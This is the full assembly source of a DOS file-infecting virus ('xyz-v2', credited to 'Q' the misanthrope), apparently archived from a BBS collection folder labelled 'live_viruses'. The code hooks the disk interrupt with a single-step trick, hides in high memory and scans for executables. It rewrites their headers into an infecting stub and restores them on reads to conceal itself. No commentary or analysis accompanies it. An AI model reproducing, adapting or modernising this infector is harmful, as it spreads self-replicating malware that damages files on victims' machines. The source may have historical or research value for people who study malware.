home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / xyz-v2.asm < prev    next >
Assembly Source File  |  1994-03-14  |  9KB  |  411 lines

  1. cseg        segment    para    public    'code'
  2. xyz        proc    near
  3. assume        cs:cseg
  4.  
  5. ;-----------------------------------------------------------------------------
  6.  
  7. ;designed by "Q" the misanthrope.
  8.  
  9. ;-----------------------------------------------------------------------------
  10.  
  11. .186
  12.  
  13. ABORT        equ    002h
  14. ALLOCATE_HMA    equ    04a02h
  15. CLOSE_HANDLE    equ    03e00h
  16. COMMAND_LINE    equ    080h
  17. COM_OFFSET    equ    00100h
  18. CRITICAL_INT    equ    024h
  19. DENY_NONE    equ    040h
  20. DOS_INT        equ    021h
  21. DOS_SET_INT    equ    02500h
  22. EIGHTEEN_BYTES    equ    012h
  23. ENVIRONMENT    equ    02ch
  24. EXEC_PROGRAM    equ    04b00h
  25. EXE_SECTOR_SIZE    equ    004h
  26. EXE_SIGNATURE    equ    'ZM'
  27. FAR_INDEX_CALL    equ    01effh
  28. FILE_ATTRIBUTES    equ    04300h
  29. FILE_DATE_TIME    equ    05700h
  30. FILENAME_OFFSET    equ    0001eh
  31. FIND_FIRST    equ    04e00h
  32. FIND_NEXT    equ    04f00h
  33. FIRST_FCB    equ    05ch
  34. FLUSH_BUFFERS    equ    00d00h
  35. FOUR_BYTES    equ    004h
  36. GET        equ    000h
  37. GET_DTA        equ    02f00h
  38. GET_ERROR_LEVEL    equ    04d00h
  39. GOLD_BUG_PTR    equ    0032ah
  40. HARD_DISK_ONE    equ    081h
  41. HIDDEN        equ    002h
  42. HIGH_BYTE    equ    00100h
  43. HMA_SEGMENT    equ    0ffffh
  44. INT_13_VECTOR    equ    0004ch
  45. KEEP_CF_INTACT    equ    002h
  46. MAX_SECTORS    equ    078h
  47. MULTIPLEX_INT    equ    02fh
  48. NEW_EXE_HEADER    equ    00040h
  49. NEW_EXE_OFFSET    equ    018h
  50. NULL        equ    00000h
  51. ONLY_READ    equ    000h
  52. ONLY_WRITE    equ    001h
  53. ONE_BYTE    equ    001h
  54. OPEN_W_HANDLE    equ    03d00h
  55. PARAMETER_TABLE    equ    004f1h
  56. READ_A_SECTOR    equ    00201h
  57. READ_ONLY    equ    001h
  58. READ_W_HANDLE    equ    03f00h
  59. REMOVE_NOP    equ    001h
  60. RESIZE_MEMORY    equ    04a00h
  61. RES_OFFSET    equ    0f900h
  62. SECOND_FCB    equ    06ch
  63. SECTOR_SIZE    equ    00200h
  64. SET        equ    001h
  65. SETVER_SIZE    equ    018h
  66. SHORT_JUMP    equ    0ebh
  67. SINGLE_STEP_BIT    equ    00100h
  68. SIX_BYTES    equ    006h
  69. SYSTEM        equ    004h
  70. TERMINATE_W_ERR    equ    04c00h
  71. THREE_BYTES    equ    003h
  72. TWENTY_HEX    equ    020h
  73. TWENTY_THREE    equ    017h
  74. TWO_BYTES    equ    002h
  75. UN_SINGLE_STEP    equ    not(SINGLE_STEP_BIT)
  76. VERIFY_2SECTORS    equ    00402h
  77. VOLUME_LABEL    equ    008h
  78. WRITE_A_SECTOR    equ    00301h
  79. WRITE_W_HANDLE    equ    04000h
  80. XYZ_CODE_IS_AT    equ    0013Fh
  81.  
  82. ;-----------------------------------------------------------------------------
  83.  
  84. bios_seg    segment    at 0f000h
  85.         org    00000h
  86. old_int_13_addr    label    word
  87. bios_seg    ends
  88.  
  89. ;-----------------------------------------------------------------------------
  90.  
  91.         org    COM_OFFSET
  92. com_code:
  93.  
  94. ;-----------------------------------------------------------------------------
  95.  
  96.         jmp    short alloc_memory
  97. DISPLACEMENT    equ    $
  98.  
  99. ;-----------------------------------------------------------------------------
  100.  
  101. dummy_exe_head    dw    SIX_BYTES,TWO_BYTES,NULL,TWENTY_HEX,ONE_BYTE,HMA_SEGMENT,NULL,NULL,NULL,NULL,NULL,TWENTY_HEX
  102.  
  103. ;-----------------------------------------------------------------------------
  104.  
  105.         org    XYZ_CODE_IS_AT
  106.  
  107. ;-----------------------------------------------------------------------------
  108.  
  109. ax_cx_di_si_cld    proc    near
  110.         mov    di,bx
  111.         add    di,XYZ_CODE_IS_AT-COM_OFFSET
  112. ax_cx_si_cld:    call    set_si
  113. set_si:        pop    si
  114.         sub    si,word    ptr (offset set_si)-word ptr (offset ax_cx_di_si_cld)
  115.         mov    cx,COM_OFFSET+SECTOR_SIZE-XYZ_CODE_IS_AT
  116.         xor    ax,ax
  117.         cld
  118.         ret
  119. ax_cx_di_si_cld    endp
  120.  
  121. ;-----------------------------------------------------------------------------
  122.  
  123. exe_file_mask    db    '*.E*',NULL
  124.  
  125. ;-----------------------------------------------------------------------------
  126.  
  127. ALLOC_STARTS    equ    $
  128.  
  129. ;-----------------------------------------------------------------------------
  130.  
  131. alloc_memory    proc    near
  132.         mov    ah,high(FLUSH_BUFFERS)
  133.         int    DOS_INT
  134.         xor    di,di
  135.         mov    ds,di
  136.         mov    bh,high(SECTOR_SIZE)
  137.         dec    di
  138.         mov    ax,ALLOCATE_HMA
  139.         int    MULTIPLEX_INT
  140.         mov    bx,SIX_BYTES
  141.         inc    di
  142.         jz    find_name
  143.         call    ax_cx_si_cld
  144.         rep    movs byte ptr es:[di],cs:[si]
  145. alloc_memory    endp
  146.  
  147. ;-----------------------------------------------------------------------------
  148.  
  149. set_int_13    proc    near
  150.         mov    ax,offset interrupt_one
  151.         xchg    word ptr ds:[bx-TWO_BYTES],ax
  152.         push    ax
  153.         push    word ptr ds:[bx]
  154.         mov    word ptr ds:[bx],cs
  155.         xchg    cx,di
  156.         mov    dl,HARD_DISK_ONE
  157.         pushf
  158.         pushf
  159.         pushf
  160.         pop    ax
  161.         or    ah,high(SINGLE_STEP_BIT)
  162.         push    ax
  163.         popf
  164.         cli
  165.         mov    ax,VERIFY_2SECTORS
  166.         dw    FAR_INDEX_CALL,INT_13_VECTOR
  167.         popf
  168.         pop    word ptr ds:[bx]
  169.         pop    word ptr ds:[bx-TWO_BYTES]
  170. set_int_13    endp
  171.  
  172. ;-----------------------------------------------------------------------------
  173.  
  174. find_name    proc    near
  175.         mov    ds,word ptr cs:[bx+ENVIRONMENT-SIX_BYTES]
  176. look_for_nulls:    inc    bx
  177.         cmp    word ptr ds:[bx-FOUR_BYTES],di
  178.         jne    look_for_nulls
  179. find_name    endp
  180.  
  181. ;-----------------------------------------------------------------------------
  182.  
  183. open_file    proc    near
  184.         push    ds
  185.         push    bx
  186.         mov    di,7ffh
  187. find_the_end:    inc    di
  188.         mov    al,byte ptr ds:[bx+di-800h]
  189.         cmp    al,NULL
  190.         mov    cs:[di],al
  191.         jne    find_the_end
  192.         mov    si,80h
  193.         xor    ax,ax
  194.         lods    byte ptr cs:[si]
  195.         mov    cx,ax
  196.         inc    cx
  197.         add    ax,di
  198.         mov    cs:[7ffh],al
  199.         push    cs
  200.         pop    es
  201.         rep    movs byte ptr es:[di],cs:[si]
  202.         mov    ch,THREE_BYTES
  203.         call    open_n_read_exe
  204.         mov    bx,dx
  205.         call    convert_back
  206.         pop    dx
  207.         pop    ds
  208.         jne    now_run_it
  209.         push    ds
  210.         push    dx
  211.         mov    ax,GET+FILE_ATTRIBUTES
  212.         int    DOS_INT
  213.         mov    ax,SET+FILE_ATTRIBUTES
  214.         push    cx
  215.         push    ax
  216.         xor    cx,cx
  217.         int    DOS_INT
  218.         mov    ax,OPEN_W_HANDLE+DENY_NONE+ONLY_WRITE
  219.         call    call_dos
  220.         mov    ax,GET+FILE_DATE_TIME
  221.         push    ax
  222.         int    DOS_INT
  223.         push    cx
  224.         push    dx
  225.         mov    ah,high(WRITE_W_HANDLE)
  226.         mov    dx,offset goto_dos
  227.         mov    cx,SECTOR_SIZE
  228.         int    DOS_INT
  229. erutangis    db    'ZYX'
  230.         inc    ax
  231.         call    reclose_it
  232. signature    db    'XYZ'
  233.         pop    ds
  234.         int    DOS_INT
  235. open_file    endp
  236.  
  237. ;-----------------------------------------------------------------------------
  238.  
  239. now_run_it    proc    near
  240.         mov    bx,30h
  241.         mov    ah,high(RESIZE_MEMORY)
  242.         call    call_dos
  243.         mov    si,07ffh
  244.         int    2eh
  245.         mov    ax,FIND_FIRST
  246.         mov    dx,offset exe_file_mask
  247.         mov    cx,READ_ONLY+HIDDEN+SYSTEM+VOLUME_LABEL
  248. find_next_file:    call    call_dos
  249.         mov    ah,high(GET_DTA)
  250.         int    DOS_INT
  251.         add    bx,FILENAME_OFFSET
  252.         push    es
  253.         pop    ds
  254.         call    open_n_read_exe
  255.         mov    ah,high(FIND_NEXT)
  256.         loop    find_next_file
  257. done:        mov    ah,high(GET_ERROR_LEVEL)
  258.         int    DOS_INT
  259.         mov    ah,high(TERMINATE_W_ERR)
  260. now_run_it    endp
  261.  
  262. ;-----------------------------------------------------------------------------
  263.  
  264. call_dos    proc    near
  265.         int    DOS_INT
  266.         jc    done
  267.         xchg    ax,bx
  268.         push    cs
  269.         pop    ds
  270.         ret
  271. call_dos    endp
  272.  
  273. ;-----------------------------------------------------------------------------
  274.  
  275. open_n_read_exe    proc    near
  276.         mov    dx,bx
  277.         mov    ax,OPEN_W_HANDLE+DENY_NONE+ONLY_READ
  278.         call    call_dos
  279.         mov    dx,offset critical_error
  280.         mov    ax,DOS_SET_INT+CRITICAL_INT
  281.         int    DOS_INT
  282.         mov    dx,offset goto_dos
  283.         mov    ah,high(READ_W_HANDLE)
  284. reclose_it:    int    DOS_INT
  285.         mov    ah,high(CLOSE_HANDLE)
  286.         jmp    short call_dos
  287. open_n_read_exe    endp
  288.  
  289. ;-----------------------------------------------------------------------------
  290.  
  291. interrupt_one    proc    far
  292.         cmp    ax,VERIFY_2SECTORS
  293.         jne    interrupt_ret
  294.         push    ds
  295.         pusha
  296.         mov    bp,sp
  297.         lds    si,dword ptr ss:[bp+EIGHTEEN_BYTES]
  298.         cmp    word ptr ds:[si+ONE_BYTE],FAR_INDEX_CALL
  299.         jne    go_back
  300.         mov    si,word    ptr ds:[si+THREE_BYTES]
  301.         cmp    word ptr ds:[si+TWO_BYTES],HMA_SEGMENT
  302.         jne    go_back
  303.         cld
  304.         mov    di,cx
  305.         movsw
  306.         movsw
  307.         sub    di,word    ptr (offset far_ptr_addr)-word ptr (offset int_13_entry)
  308.         org    $-REMOVE_NOP
  309.         mov    word ptr ds:[si-FOUR_BYTES],di
  310.         and    byte ptr ss:[bp+TWENTY_THREE],high(UN_SINGLE_STEP)
  311. go_back:    popa
  312.         pop    ds
  313. critical_error:    mov    al,ABORT
  314. interrupt_ret:    iret
  315. interrupt_one    endp
  316.  
  317. ;-----------------------------------------------------------------------------
  318.  
  319. convert_back    proc    near
  320.         call    ax_cx_di_si_cld
  321.         repe    cmps byte ptr cs:[si],es:[di]
  322.         jne    not_xyz
  323.         mov    word ptr es:[bx],EXE_SIGNATURE
  324.         call    ax_cx_di_si_cld
  325.         rep    stosb
  326. not_xyz:    ret
  327. convert_back    endp
  328.  
  329. ;-----------------------------------------------------------------------------
  330.  
  331. convert_to    proc    near
  332.         pusha
  333.         stc
  334.         pushf
  335.         cmp    word ptr es:[bx],EXE_SIGNATURE
  336.         jne    not_exe_header
  337.         mov    ax,word ptr es:[bx+EXE_SECTOR_SIZE]
  338.         cmp    ax,MAX_SECTORS
  339.         ja    not_exe_header
  340.         cmp    al,SETVER_SIZE
  341.         je    not_exe_header
  342.         cmp    word ptr es:[bx+NEW_EXE_OFFSET],NEW_EXE_HEADER
  343.         jae    not_exe_header
  344.         call    ax_cx_di_si_cld
  345.         pusha
  346.         repe    scasb
  347.         popa
  348.         jne    not_exe_header
  349.         mov    word ptr es:[bx],((ALLOC_STARTS-DISPLACEMENT)*HIGH_BYTE)+SHORT_JUMP
  350.         rep    movs byte ptr es:[di],cs:[si]
  351.         popf
  352.         clc
  353.         pushf
  354. not_exe_header:    popf
  355.         popa
  356.         ret
  357. convert_to    endp
  358.  
  359. ;-----------------------------------------------------------------------------
  360.  
  361. interrupt_13    proc    far
  362. int_13_entry:    cmp    ah,high(READ_A_SECTOR)
  363.         jb    call_old_int_13
  364.         cmp    ah,high(VERIFY_2SECTORS)
  365.         ja    call_old_int_13
  366.         call    convert_to
  367.         pushf
  368.         push    cs
  369.         call    call_old_int_13
  370.         pushf
  371.         call    convert_to
  372.         pusha
  373.         jc    do_convertback
  374.         mov    ax,WRITE_A_SECTOR
  375.         pushf
  376.         push    cs
  377.         call    call_old_int_13
  378. do_convertback:    call    convert_back
  379.         popa
  380.         popf
  381.         retf    KEEP_CF_INTACT
  382. interrupt_13    endp
  383.  
  384. ;-----------------------------------------------------------------------------
  385.  
  386.         org    COM_OFFSET+SECTOR_SIZE-ONE_BYTE
  387.  
  388. ;-----------------------------------------------------------------------------
  389.  
  390. call_old_int_13    proc    near
  391.         jmp    far ptr    old_int_13_addr
  392. call_old_int_13    endp
  393.  
  394. ;-----------------------------------------------------------------------------
  395.  
  396.         org    COM_OFFSET+SECTOR_SIZE
  397.  
  398. ;-----------------------------------------------------------------------------
  399.  
  400. goto_dos    proc    near
  401.         mov    ax,TERMINATE_W_ERR
  402.         nop
  403. far_ptr_addr:    int    DOS_INT
  404. goto_dos    endp
  405.  
  406. ;-----------------------------------------------------------------------------
  407.  
  408. xyz        endp
  409. cseg        ends
  410. end        com_code
  411.